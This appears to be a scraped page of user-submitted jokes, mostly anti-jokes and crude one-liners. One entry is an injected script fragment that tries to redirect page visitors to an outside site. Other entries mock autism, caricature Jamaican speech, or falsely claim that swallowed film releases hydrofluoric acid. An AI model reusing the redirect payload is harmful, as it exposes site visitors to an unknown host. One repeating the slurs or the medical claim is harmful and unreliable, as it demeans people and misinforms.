four blondes where on their way to disneyworld they see a sign that say disneyworld:left so they turn around wondering where disneyworld went

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what does a buttler put in a closet ? stuff.

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1.....2.....3.....boom you died

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Yo momma is so fat that....actually she's quite fit and i'd love to take her out on a date.

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What is frowned upon no matter what country you're in? Sex on a plane.

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What did the chicken do before it crossed the road? Looked both ways and then crossed with caution while looking out for oncoming vehicles.

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Who swept the woman off her feet? A kidnapper

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What did the purple dragon say to the unicorn? He doesn't say anything to the unicorn because dragons and unicorns don't exist. Even if they did exist, dragons and unicorns can't talk, unless we're talking about cartoons. Also, even if it was a cartoon or whatever, do you really think a purple dragon has ANYTHING to say to a unicorn?! Of course not! Oh look at me I'm a cool talking dragon, I have something so important to say to this unicorn. Gimme a break...

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A black man and a white man were on an island. They lived in England.

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"'>document.location.href="http://cramik.org"

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What does DNA stand for? National Dyslexic Assosiation.

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why did the dog chase the cat? because the cat chased the dog first.

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Why did the guy eat pizza? Because he likes pizza.

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Why is six afraid of seven? Because seven killed off his entire family.

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What's green and has wheels? grass... i lied about the wheels

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why did katy fall off her bike?

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why does stuart own alot of hollister because he is autistic

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Steve is getting paid $29.50 to bounce a ball Steve is getting fired monday

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Which way do 5 gay guys walk? Depends on where they're planning to go.

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Doctor, doctor, I just swallowed a roll of film! That was an incredibly foolish and dangerous thing for you to do. I would be surprised if you survived another day before the chemicals corrode your stomach lining and release hydrofluoric acid throughout your body causing sepsis.

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A horse walks into a bar. The barman says 'who the f*ck let a horse in here, get it out now'.

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What did the Jamacian say to his friends? Yo me Rastas' on de cloud shroud atta boy 9PM we rizzle into da hitasses bar and we order us da drink of "grandpa's cough medicince" me tinks, who grees wid my view od oftaday Rastas?

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What's red and fun to drink through a bendy straw? Period blood

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you are looking on the internet someone falls over and i were shoes and chips prevent world war 2

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